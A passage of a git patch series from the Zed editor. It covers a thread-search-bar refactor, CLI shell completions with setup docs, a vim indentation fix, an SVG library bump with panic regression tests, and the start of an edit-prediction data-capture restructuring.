---
 .../conversation_view/thread_search_bar.rs    |  4 +-
 .../src/conversation_view/thread_view.rs      | 43 ++++++++++++-------
 2 files changed, 30 insertions(+), 17 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_search_bar.rs b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
index bf09c33ae2d528..80925e4b793e39 100644
--- a/crates/agent_ui/src/conversation_view/thread_search_bar.rs
+++ b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
@@ -744,7 +744,7 @@ impl Render for ThreadSearchBar {
                     .border_color(theme.border)
                     .bg(theme.editor_background)
                     .rounded_md()
-                    .child(div().flex_1().child(render_query_input(
+                    .child(div().px_1().flex_1().child(render_query_input(
                         &self.query_editor,
                         in_error_state,
                         cx,
@@ -814,7 +814,7 @@ impl Render for ThreadSearchBar {
 
         v_flex()
             .w_full()
-            .p_2()
+            .p_1p5()
             .bg(theme.panel_background)
             .border_b_1()
             .border_color(theme.border.opacity(0.6))
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 91aa12b63a0a99..118ceeb325f40e 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -1079,7 +1079,11 @@ impl ThreadView {
         match event {
             MessageEditorEvent::Send => self.send(window, cx),
             MessageEditorEvent::SendImmediately => self.interrupt_and_send(window, cx),
-            MessageEditorEvent::Cancel => self.cancel_generation(cx),
+            MessageEditorEvent::Cancel => {
+                if !self.close_thread_search(window, cx) {
+                    self.cancel_generation(cx);
+                }
+            }
             MessageEditorEvent::Focus => {
                 self.cancel_editing(&Default::default(), window, cx);
             }
@@ -6321,6 +6325,27 @@ impl ThreadView {
         }
     }
 
+    /// Hides the thread search bar, clears its highlights, and returns focus to
+    /// the message editor. Returns `true` if the search bar was visible.
+    pub(crate) fn close_thread_search(
+        &mut self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        if !self.thread_search_visible {
+            return false;
+        }
+
+        if let Some(bar) = self.thread_search_bar.clone() {
+            bar.update(cx, |bar, cx| bar.clear_highlights(cx));
+        }
+
+        self.thread_search_visible = false;
+        self.message_editor.focus_handle(cx).focus(window, cx);
+        cx.notify();
+        true
+    }
+
     pub(crate) fn toggle_search(
         &mut self,
         _: &crate::ToggleSearch,
@@ -10993,27 +11018,15 @@ impl Render for ThreadView {
             }))
             .on_action(cx.listener(
                 |this, _: &super::thread_search_bar::DismissThreadSearch, window, cx| {
-                    if let Some(bar) = this.thread_search_bar.clone() {
-                        bar.update(cx, |bar, cx| bar.clear_highlights(cx));
-                    }
-                    this.thread_search_visible = false;
-                    this.message_editor.focus_handle(cx).focus(window, cx);
-                    cx.notify();
+                    this.close_thread_search(window, cx);
                 },
             ))
             // Esc can arrive as `editor::Cancel` from the query editor.
             .on_action(
                 cx.listener(|this, _: &editor::actions::Cancel, window, cx| {
-                    if !this.thread_search_visible {
+                    if !this.close_thread_search(window, cx) {
                         cx.propagate();
-                        return;
                     }
-                    if let Some(bar) = this.thread_search_bar.clone() {
-                        bar.update(cx, |bar, cx| bar.clear_highlights(cx));
-                    }
-                    this.thread_search_visible = false;
-                    this.message_editor.focus_handle(cx).focus(window, cx);
-                    cx.notify();
                 }),
             )
             .on_action(cx.listener(

From a1a881b0f78f071e2e353f5155f6bc308082e184 Mon Sep 17 00:00:00 2001
From: silvanshade <darinmorrison@gmail.com>
Date: Mon, 22 Jun 2026 08:57:34 -0600
Subject: [PATCH 033/772] Add shell completions for CLI (#57440)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] ~~Unsafe blocks (if any) have justifying comments~~
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] ~~Performance impact has been considered and is acceptable~~

Release Notes:

- Added shell completions generation for CLI with `zed --completions
<SHELL>`

Co-authored-by: silvanshade <silvanshade@users.noreply.github.com>
Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 Cargo.lock                    | 12 ++++++++
 Cargo.toml                    |  2 ++
 crates/cli/Cargo.toml         |  2 ++
 crates/cli/src/completions.rs | 47 +++++++++++++++++++++++++++++
 crates/cli/src/main.rs        | 28 ++++++++++++++++--
 docs/src/reference/cli.md     | 56 +++++++++++++++++++++++++++++++++++
 6 files changed, 144 insertions(+), 3 deletions(-)
 create mode 100644 crates/cli/src/completions.rs

diff --git a/Cargo.lock b/Cargo.lock
index 7201ba91d08c85..c86db226a5a780 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3109,6 +3109,16 @@ dependencies = [
  "clap",
 ]
 
+[[package]]
+name = "clap_complete_nushell"
+version = "4.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fbb9e9715d29a754b468591be588f6b926f5b0a1eb6a8b62acabeb66ff84d897"
+dependencies = [
+ "clap",
+ "clap_complete",
+]
+
 [[package]]
 name = "clap_derive"
 version = "4.5.49"
@@ -3134,6 +3144,8 @@ dependencies = [
  "anyhow",
  "askpass",
  "clap",
+ "clap_complete",
+ "clap_complete_nushell",
  "collections",
  "console",
  "core-foundation 0.10.0",
diff --git a/Cargo.toml b/Cargo.toml
index 5e10fae8dddd35..d4564def4cb9f0 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -554,6 +554,8 @@ chrono = { version = "0.4", features = ["serde"] }
 ciborium = "0.2"
 circular-buffer = "1.0"
 clap = { version = "4.4", features = ["derive", "wrap_help"] }
+clap_complete = { version = "4.4" }
+clap_complete_nushell = { version = "4.4" }
 cocoa = "=0.26.0"
 cocoa-foundation = "=0.2.0"
 const_format = "0.2"
diff --git a/crates/cli/Cargo.toml b/crates/cli/Cargo.toml
index e8667c608753b9..04594e77904344 100644
--- a/crates/cli/Cargo.toml
+++ b/crates/cli/Cargo.toml
@@ -24,6 +24,8 @@ default = []
 anyhow.workspace = true
 askpass.workspace = true
 clap.workspace = true
+clap_complete.workspace = true
+clap_complete_nushell.workspace = true
 collections.workspace = true
 console.workspace = true
 dialoguer.workspace = true
diff --git a/crates/cli/src/completions.rs b/crates/cli/src/completions.rs
new file mode 100644
index 00000000000000..715d8d978de05e
--- /dev/null
+++ b/crates/cli/src/completions.rs
@@ -0,0 +1,47 @@
+mod shells {
+    pub use clap_complete::aot::{Bash, Elvish, Fish, PowerShell, Zsh};
+    pub use clap_complete_nushell::Nushell;
+}
+
+use clap_complete::Generator;
+
+#[derive(Clone, Debug, clap::ValueEnum)]
+#[non_exhaustive]
+#[value(rename_all = "lower")]
+pub(crate) enum Shell {
+    Bash,
+    Elvish,
+    Fish,
+    Nushell,
+    PowerShell,
+    Zsh,
+}
+
+impl Generator for Shell {
+    fn file_name(&self, name: &str) -> String {
+        match self {
+            Shell::Bash => self::shells::Bash.file_name(name),
+            Shell::Elvish => self::shells::Elvish.file_name(name),
+            Shell::Fish => self::shells::Fish.file_name(name),
+            Shell::Nushell => self::shells::Nushell.file_name(name),
+            Shell::PowerShell => self::shells::PowerShell.file_name(name),
+            Shell::Zsh => self::shells::Zsh.file_name(name),
+        }
+    }
+
+    fn generate(&self, cmd: &clap::Command, buf: &mut dyn std::io::Write) {
+        match self {
+            Shell::Bash => self::shells::Bash.generate(cmd, buf),
+            Shell::Elvish => self::shells::Elvish.generate(cmd, buf),
+            Shell::Fish => self::shells::Fish.generate(cmd, buf),
+            Shell::Nushell => self::shells::Nushell.generate(cmd, buf),
+            Shell::PowerShell => self::shells::PowerShell.generate(cmd, buf),
+            Shell::Zsh => self::shells::Zsh.generate(cmd, buf),
+        }
+    }
+}
+
+pub(crate) fn main(cmd: &clap::Command, shell: &Shell) {
+    let buf = &mut std::io::stdout();
+    shell.generate(cmd, buf);
+}
diff --git a/crates/cli/src/main.rs b/crates/cli/src/main.rs
index d9c976b688cc71..565f97ff230555 100644
--- a/crates/cli/src/main.rs
+++ b/crates/cli/src/main.rs
@@ -7,8 +7,12 @@
     allow(dead_code)
 )]
 
+mod completions;
+
+use crate::completions::Shell;
+
 use anyhow::{Context as _, Result};
-use clap::Parser;
+use clap::{CommandFactory, Parser};
 use cli::{CliRequest, CliResponse, IpcHandshake, ipc::IpcOneShotServer};
 use parking_lot::Mutex;
 use std::{
@@ -89,11 +93,12 @@ struct Args {
         not(any(target_os = "windows", target_os = "macos")),
         doc = "`$XDG_DATA_HOME/zed`."
     )]
-    #[arg(long, value_name = "DIR")]
+    #[arg(long, value_name = "DIR", value_hint = clap::ValueHint::DirPath)]
     user_data_dir: Option<String>,
     /// The paths to open in Zed (space-separated).
     ///
     /// Use `path:line:column` syntax to open a file at the given line and column.
+    #[arg(trailing_var_arg = true, value_hint = clap::ValueHint::AnyPath)]
     paths_with_position: Vec<String>,
     /// Print Zed's version and the app path.
     #[arg(short, long)]
@@ -131,8 +136,11 @@ struct Args {
     dev_container: bool,
     /// Pairs of file paths to diff. Can be specified multiple times.
     /// When directories are provided, recurses into them and shows all changed files in a single multi-diff view.
-    #[arg(long, action = clap::ArgAction::Append, num_args = 2, value_names = ["OLD_PATH", "NEW_PATH"])]
+    #[arg(long, action = clap::ArgAction::Append, num_args = 2, value_names = ["OLD_PATH", "NEW_PATH"], value_hint = clap::ValueHint::AnyPath)]
     diff: Vec<String>,
+    /// Generate shell completions for Zed
+    #[arg(long, value_names = ["SHELL"])]
+    completions: Option<Shell>,
     /// Uninstall Zed from user system
     #[cfg(all(
         any(target_os = "linux", target_os = "macos"),
@@ -514,6 +522,20 @@ fn run() -> Result<()> {
 
     let app = Detect::detect(args.zed.as_deref()).context("Bundle detection")?;
 
+    if let Some(shell) = &args.completions {
+        let file_path = std::env::current_exe()?;
+        let file_name = file_path
+            .file_name()
+            .and_then(OsStr::to_str)
+            .ok_or("--completions expects a UTF-8 name for cli bin")
+            .map_err(anyhow::Error::msg)?;
+        let mut cmd = Args::command();
+        cmd.set_bin_name(file_name);
+        cmd.build();
+        crate::completions::main(&cmd, shell);
+        return Ok(());
+    }
+
     if args.version {
         println!("{}", app.zed_version_string());
         return Ok(());
diff --git a/docs/src/reference/cli.md b/docs/src/reference/cli.md
index 34194fbeb019e1..d5c84dd3b9b43e 100644
--- a/docs/src/reference/cli.md
+++ b/docs/src/reference/cli.md
@@ -126,6 +126,62 @@ Print Zed's version and exit:
 zed --version
 ```
 
+### `--completions <SHELL>`
+
+Generate shell completions for the `zed` CLI:
+
+#### Bash
+
+Add to `~/.bashrc`:
+
+```bash
+eval "$(zed --completions bash)"
+```
+
+#### Elvish
+
+Add to `~/.config/elvish/rc.elv`:
+
+```elvish
+set edit:completion:arg-completer[zed] = { |@args|
+    eval (zed --completions elvish | slurp)
+    $edit:completion:arg-completer[zed] $@args
+}
+```
+
+#### Fish
+
+Add to `~/.config/fish/config.fish`:
+
+```fish
+zed --completions fish | source
+```
+
+#### Nushell
+
+Add to `~/.config/nushell/config.nu`:
+
+```nu
+mkdir ($nu.data-dir | path join "vendor/autoload")
+^zed --completions nushell | save --force ($nu.data-dir | path join "vendor/autoload/zed.nu")
+```
+
+#### Powershell
+
+Add to `$PROFILE`:
+
+```powershell
+(&zed --completions powershell) | Out-String | Invoke-Expression
+```
+
+#### Zsh
+
+Add to `~/.zshrc`:
+
+```zsh
+eval "$(zed --completions zsh)"
+```
+
 ### `--uninstall`
 
 Uninstall Zed and remove all related files (macOS and Linux only):

From 50b4a1c17e4961996f32b4fc3da0b7b5baf1864b Mon Sep 17 00:00:00 2001
From: Emilio <emilio.ruiz984@outlook.com>
Date: Mon, 22 Jun 2026 16:57:35 +0200
Subject: [PATCH 034/772] vim: Fix out of scope insert line above (#55459)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #52588

Release Notes:

- Fixed insert line above out of an scope

Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 crates/vim/src/normal.rs | 26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

diff --git a/crates/vim/src/normal.rs b/crates/vim/src/normal.rs
index 027324bfab768f..d91af01a542c2e 100644
--- a/crates/vim/src/normal.rs
+++ b/crates/vim/src/normal.rs
@@ -752,7 +752,17 @@ impl Vim {
                     let indent = if auto_indent_mode == AutoIndentMode::None {
                         String::new()
                     } else {
-                        snapshot.indent_and_comment_for_line(MultiBufferRow(row), cx)
+                        let indent_size = snapshot.indent_size_for_line(MultiBufferRow(row)).len;
+                        let first_char = snapshot.chars_at(Point::new(row, indent_size)).next();
+                        let indent_row = if matches!(first_char, Some('}') | Some(')')) {
+                            snapshot
+                                .prev_non_blank_row(MultiBufferRow(row))
+                                .map(|r| r.0)
+                                .unwrap_or(row)
+                        } else {
+                            row
+                        };
+                        snapshot.indent_and_comment_for_line(MultiBufferRow(indent_row), cx)
                     };
                     let start_of_line = Point::new(row, 0);
                     let edit = (start_of_line..start_of_line, indent + "\n");
@@ -1721,6 +1731,20 @@ mod test {
                 }"},
             Mode::Insert,
         );
+        cx.assert_binding(
+            "shift-o",
+            indoc! {"
+                fn test() {
+                    println!();
+                ˇ}"},
+            Mode::Normal,
+            indoc! {"
+                fn test() {
+                    println!();
+                    ˇ
+                }"},
+            Mode::Insert,
+        );
     }
 
     #[gpui::test]

From f791aa57d798f4a4746ae72999f54f7ec2925ebf Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Mon, 22 Jun 2026 16:42:12 +0100
Subject: [PATCH 035/772] gpui: Bump resvg/usvg and regression test for panic
 (#59704)

Bumps resvg and usvg to fix a panic when rendering some complex mermaid
diagrams.

Closes FR-90

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                  | 91 ++++++++++-----------
 Cargo.toml                                  |  7 ++
 crates/gpui/Cargo.toml                      |  9 +-
 crates/gpui/src/svg_renderer.rs             | 25 ++++++
 crates/mermaid_render/Cargo.toml            |  1 +
 crates/mermaid_render/src/mermaid_render.rs | 25 ++++++
 6 files changed, 103 insertions(+), 55 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index c86db226a5a780..16078d79824dad 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6754,7 +6754,7 @@ version = "0.5.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bbc773e24e02d4ddd8395fd30dc147524273a83e54e0f312d986ea30de5f5646"
 dependencies = [
- "roxmltree",
+ "roxmltree 0.20.0",
 ]
 
 [[package]]
@@ -7259,16 +7259,6 @@ dependencies = [
  "syn 2.0.117",
 ]
 
-[[package]]
-name = "gif"
-version = "0.13.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ae047235e33e2829703574b54fdec96bfbad892062d97fed2f76022287de61b"
-dependencies = [
- "color_quant",
- "weezl",
-]
-
 [[package]]
 name = "gif"
 version = "0.14.2"
@@ -8918,7 +8908,7 @@ dependencies = [
  "byteorder-lite",
  "color_quant",
  "exr",
- "gif 0.14.2",
+ "gif",
  "image-webp",
  "moxcms",
  "num-traits",
@@ -8928,8 +8918,8 @@ dependencies = [
  "rayon",
  "rgb",
  "tiff",
- "zune-core 0.5.1",
- "zune-jpeg 0.5.15",
+ "zune-core",
+ "zune-jpeg",
 ]
 
 [[package]]
@@ -8964,9 +8954,9 @@ dependencies = [
 
 [[package]]
 name = "imagesize"
-version = "0.13.0"
+version = "0.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edcd27d72f2f071c64249075f42e205ff93c9a4c5f6c6da53e79ed9f9832c285"
+checksum = "09e54e57b4c48b40f7aec75635392b12b3421fa26fe8b4332e63138ed278459c"
 
 [[package]]
 name = "imara-diff"
@@ -9590,12 +9580,13 @@ dependencies = [
 
 [[package]]
 name = "kurbo"
-version = "0.11.3"
+version = "0.13.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c62026ae44756f8a599ba21140f350303d4f08dcdcc71b5ad9c9bb8128c13c62"
+checksum = "4b60dfc32f652b926df6192e55525b16d186c69d47876c3ead4da5cc9f8450e2"
 dependencies = [
  "arrayvec",
  "euclid",
+ "polycool",
  "smallvec",
 ]
 
@@ -10918,6 +10909,7 @@ dependencies = [
  "merman",
  "quick-xml 0.38.3",
  "serde_json",
+ "usvg",
 ]
 
 [[package]]
@@ -13672,6 +13664,15 @@ version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2f3a9f18d041e6d0e102a0a46750538147e5e8992d3b4873aaafee2520b00ce3"
 
+[[package]]
+name = "polycool"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "50596ddc09eb5ad5f75cacd40209568e66df71baf86e1499a0e99c4cff12a5a6"
+dependencies = [
+ "arrayvec",
+]
+
 [[package]]
 name = "pori"
 version = "0.0.0"
@@ -15337,19 +15338,19 @@ dependencies = [
 
 [[package]]
 name = "resvg"
-version = "0.45.1"
+version = "0.46.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8928798c0a55e03c9ca6c4c6846f76377427d2c1e1f7e6de3c06ae57942df43"
+checksum = "b563218631706d614e23059436526d005b50ab5f2d506b55a17eb65c5eb83419"
 dependencies = [
- "gif 0.13.3",
+ "gif",
  "image-webp",
  "log",
  "pico-args",
  "rgb",
- "svgtypes 0.15.3",
+ "svgtypes 0.16.1",
  "tiny-skia",
  "usvg",
- "zune-jpeg 0.4.21",
+ "zune-jpeg",
 ]
 
 [[package]]
@@ -15492,6 +15493,15 @@ version = "0.20.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6c20b6793b5c2fa6553b250154b78d6d0db37e72700ae35fad9387a46f487c97"
 
+[[package]]
+name = "roxmltree"
+version = "0.21.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1964b10c76125c36f8afe190065a4bf9a87bf324842c05701330bba9f1cacbb"
+dependencies = [
+ "memchr",
+]
+
 [[package]]
 name = "rpassword"
 version = "7.5.2"
@@ -17750,11 +17760,11 @@ dependencies = [
 
 [[package]]
 name = "svgtypes"
-version = "0.15.3"
+version = "0.16.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68c7541fff44b35860c1a7a47a7cadf3e4a304c457b58f9870d9706ece028afc"
+checksum = "695b5790b3131dafa99b3bbfd25a216edb3d216dad9ca208d4657bfb8f2abc3d"
 dependencies = [
- "kurbo 0.11.3",
+ "kurbo 0.13.1",
  "siphasher 1.0.1",
 ]
 
@@ -18549,7 +18559,7 @@ dependencies = [
  "half",
  "quick-error 2.0.1",
  "weezl",
- "zune-jpeg 0.5.15",
+ "zune-jpeg",
 ]
 
 [[package]]
@@ -19774,24 +19784,24 @@ checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da"
 
 [[package]]
 name = "usvg"
-version = "0.45.1"
+version = "0.46.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80be9b06fbae3b8b303400ab20778c80bbaf338f563afe567cf3c9eea17b47ef"
+checksum = "e419dff010bb12512b0ae9e3d2f318dfbdf0167fde7eb05465134d4e8756076f"
 dependencies = [
  "base64 0.22.1",
  "data-url",
  "flate2",
  "fontdb",
  "imagesize",
- "kurbo 0.11.3",
+ "kurbo 0.13.1",
  "log",
  "pico-args",
- "roxmltree",
+ "roxmltree 0.21.1",
  "rustybuzz",
  "simplecss",
  "siphasher 1.0.1",
  "strict-num",
- "svgtypes 0.15.3",
+ "svgtypes 0.16.1",
  "tiny-skia-path",
  "unicode-bidi",
  "unicode-script",
@@ -23498,12 +23508,6 @@ dependencies = [
 name = "ztracing_macro"
 version = "0.1.0"
 
-[[package]]
-name = "zune-core"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f423a2c17029964870cfaabb1f13dfab7d092a62a29a89264f4d36990ca414a"
-
 [[package]]
 name = "zune-core"
 version = "0.5.1"
@@ -23519,22 +23523,13 @@ dependencies = [
  "simd-adler32",
 ]
 
-[[package]]
-name = "zune-jpeg"
-version = "0.4.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29ce2c8a9384ad323cf564b67da86e21d3cfdff87908bc1223ed5c99bc792713"
-dependencies = [
- "zune-core 0.4.12",
-]
-
 [[package]]
 name = "zune-jpeg"
 version = "0.5.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "27bc9d5b815bc103f142aa054f561d9187d191692ec7c2d1e2b4737f8dbd7296"
 dependencies = [
- "zune-core 0.5.1",
+ "zune-core",
 ]
 
 [[package]]
diff --git a/Cargo.toml b/Cargo.toml
index d4564def4cb9f0..54f1de8b30fb4b 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -721,6 +721,12 @@ reqwest = { git = "https://github.com/zed-industries/reqwest.git", rev = "c15662
     "socks",
     "stream",
 ], package = "zed-reqwest", version = "0.12.15-zed" }
+resvg = { version = "0.46.0", default-features = false, features = [
+    "text",
+    "system-fonts",
+    "memmap-fonts",
+    "raster-images",
+] }
 rsa = "0.9.6"
 runtimelib = { version = "1.4.0", default-features = false, features = [
     "async-dispatcher-runtime", "aws-lc-rs"
@@ -813,6 +819,7 @@ unicode-width = "0.2"
 unindent = "0.2.0"
 url = "2.2"
 urlencoding = "2.1.2"
+usvg = { version = "0.46.0", default-features = false }
 uuid = { version = "1.1.2", features = ["v4", "v5", "v7", "serde"] }
 vte = { version = "0.15.0", features = ["ansi"] }
 walkdir = "2.5"
diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 87cc3e3630c161..64efe02f54956c 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -79,13 +79,8 @@ raw-window-handle = "0.6"
 regex.workspace = true
 refineable.workspace = true
 scheduler.workspace = true
-resvg = { version = "0.45.0", default-features = false, features = [
-    "text",
-    "system-fonts",
-    "memmap-fonts",
-    "raster-images"
-] }
-usvg = { version = "0.45.0", default-features = false }
+resvg.workspace = true
+usvg.workspace = true
 ttf-parser = "0.25"
 util_macros.workspace = true
 schemars.workspace = true
diff --git a/crates/gpui/src/svg_renderer.rs b/crates/gpui/src/svg_renderer.rs
index 3b5062f55df2a6..5abd3341d22b07 100644
--- a/crates/gpui/src/svg_renderer.rs
+++ b/crates/gpui/src/svg_renderer.rs
@@ -313,6 +313,31 @@ mod tests {
         db
     }
 
+    #[test]
+    fn text_with_split_glyph_clusters_in_mixed_fonts_does_not_panic() {
+        let mut db = Database::new();
+        db.load_font_data(IBM_PLEX_REGULAR.to_vec());
+        db.load_font_data(LILEX_REGULAR.to_vec());
+        let options = usvg::Options {
+            fontdb: std::sync::Arc::new(db),
+            ..Default::default()
+        };
+
+        // A base letter followed by a stack of combining marks. Under HarfBuzz's
+        // default cluster merging every mark glyph shares the base's byte index,
+        // which is the "glyph splitting" condition that triggered the panic. The
+        // chunk must use two different fonts so the buggy merge path runs.
+        let zalgo = "e\u{0301}\u{0302}\u{0303}\u{0304}\u{0306}\u{0307}\u{0308}\u{030a}";
+        let svg = format!(
+            r#"<svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"><text font-family="Lilex" font-size="32">{zalgo}<tspan font-family="IBM Plex Sans">{zalgo}</tspan></text></svg>"#
+        );
+
+        // Before the fix this aborts via panic with a message like
+        // "removal index (is 5) should be < len (is 5)".
+        usvg::Tree::from_data(svg.as_bytes(), &options)
+            .expect("SVG with mixed-font text should parse");
+    }
+
     #[test]
     fn test_is_emoji_presentation() {
         let cases = [
diff --git a/crates/mermaid_render/Cargo.toml b/crates/mermaid_render/Cargo.toml
index bf826ab6334e5e..580165f5466d11 100644
--- a/crates/mermaid_render/Cargo.toml
+++ b/crates/mermaid_render/Cargo.toml
@@ -25,3 +25,4 @@ serde_json.workspace = true
 [dev-dependencies]
 gpui = { workspace = true, features = ["test-support"] }
 mermaid_render = { path = ".", features = ["test-support"] }
+usvg.workspace = true
diff --git a/crates/mermaid_render/src/mermaid_render.rs b/crates/mermaid_render/src/mermaid_render.rs
index 5dc953c9c889d9..8f9ee8f5ee2621 100644
--- a/crates/mermaid_render/src/mermaid_render.rs
+++ b/crates/mermaid_render/src/mermaid_render.rs
@@ -185,6 +185,31 @@ pub fn render_to_svg(source: &str, theme: &MermaidTheme) -> Result<String> {
 mod tests {
     use super::*;
 
+    #[test]
+    fn mermaid_diagram_with_mixed_weight_combining_marks_does_not_panic() {
+        const IBM_PLEX_REGULAR: &[u8] =
+            include_bytes!("../../../assets/fonts/ibm-plex-sans/IBMPlexSans-Regular.ttf");
+        const IBM_PLEX_SEMIBOLD: &[u8] =
+            include_bytes!("../../../assets/fonts/ibm-plex-sans/IBMPlexSans-SemiBold.ttf");
+
+        let zalgo = "Ne\u{0301}\u{0302}\u{0303}\u{0304}\u{0306}\u{0307}\u{0308}\u{030a}d";
+        let source = format!("flowchart TD\n  A[\"**{zalgo}** {zalgo}\"]");
+        let svg = render_to_svg(&source, &MermaidTheme::default())
+            .expect("mermaid diagram should render to SVG");
+
+        let mut db = usvg::fontdb::Database::new();
+        db.load_font_data(IBM_PLEX_REGULAR.to_vec());
+        db.load_font_data(IBM_PLEX_SEMIBOLD.to_vec());
+        db.set_sans_serif_family("IBM Plex Sans");
+        let options = usvg::Options {
+            fontdb: std::sync::Arc::new(db),
+            ..Default::default()
+        };
+
+        usvg::Tree::from_data(svg.as_bytes(), &options)
+            .expect("rasterizing mermaid text should not panic");
+    }
+
     /// An ER diagram whose attribute-block tokens begin with a multibyte
     /// UTF-8 character (e.g. CJK type/field names) must not panic while the
     /// lexer probes for the two-character `PK`/`FK`/`UK` keys.

From 1b7318bf8b215d680a816a3a315a7d5ec6dcc12a Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 22 Jun 2026 11:45:50 -0500
Subject: [PATCH 036/772] ep: Combine settled and example capture (#58759)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                    |   1 -
 crates/cloud_api_types/Cargo.toml             |   1 -
 crates/cloud_api_types/src/cloud_api_types.rs |  53 +-
 crates/edit_prediction/src/capture_example.rs | 565 ------------------
 .../src/capture_prediction_context.rs         |  85 +++
 crates/edit_prediction/src/data_collection.rs |  13 +-
 crates/edit_prediction/src/edit_prediction.rs | 543 +++++++++++------
 .../src/edit_prediction_tests.rs              | 479 +++++++++++++--
 crates/edit_prediction/src/jump_example.rs    | 372 ------------
 crates/edit_prediction/src/zeta.rs            |  63 +-
 crates/edit_prediction_cli/src/qa.rs          |   3 +-
 .../edit_prediction_metrics/src/reversal.rs   |  18 +
 crates/zeta_prompt/src/zeta_prompt.rs         |  12 +-
 13 files changed, 958 insertions(+), 1250 deletions(-)
 delete mode 100644 crates/edit_prediction/src/capture_example.rs
 create mode 100644 crates/edit_prediction/src/capture_prediction_context.rs
 delete mode 100644 crates/edit_prediction/src/jump_example.rs

diff --git a/Cargo.lock b/Cargo.lock
index 16078d79824dad..b38b1ffe7838ad 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3265,7 +3265,6 @@ dependencies = [
  "serde",
  "serde_json",
  "strum 0.27.2",
- "uuid",
  "zeta_prompt",
 ]
 
diff --git a/crates/cloud_api_types/Cargo.toml b/crates/cloud_api_types/Cargo.toml
index 66080cf9ec13e3..a220f688f515a8 100644
--- a/crates/cloud_api_types/Cargo.toml
+++ b/crates/cloud_api_types/Cargo.toml
@@ -19,7 +19,6 @@ cloud_llm_client.workspace = true
 serde.workspace = true
 serde_json.workspace = true
 strum.workspace = true
-uuid.workspace = true
 zeta_prompt.workspace = true
 
 [dev-dependencies]
diff --git a/crates/cloud_api_types/src/cloud_api_types.rs b/crates/cloud_api_types/src/cloud_api_types.rs
index 27fd96b9660e7e..6fef7c586df60d 100644
--- a/crates/cloud_api_types/src/cloud_api_types.rs
+++ b/crates/cloud_api_types/src/cloud_api_types.rs
@@ -6,6 +6,7 @@ mod timestamp;
 pub mod websocket_protocol;
 
 use std::collections::BTreeMap;
+use std::ops::Range;
 use std::path::Path;
 use std::sync::Arc;
 
@@ -129,58 +130,58 @@ pub struct SubmitEditPredictionFeedbackBody {
 }
 
 #[derive(Debug, PartialEq, Serialize, Deserialize)]
-pub struct SubmitEditPredictionSettledBody {
+pub struct SettledEditPrediction {
     pub request_id: String,
+
     #[serde(skip_serializing_if = "Option::is_none")]
     pub settled_editable_region: Option<String>,
     pub ts_error_count_before_prediction: usize,
     pub ts_error_count_after_prediction: usize,
     pub can_collect_data: bool,
     pub is_in_open_source_repo: bool,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub sample_data: Option<SettledEditPredictionSampleData>,
     #[serde(flatten)]
     pub kept_chars: EditPredictionSettledKeptChars,
     pub example: Option<serde_json::Value>,
     pub model_version: Option<String>,
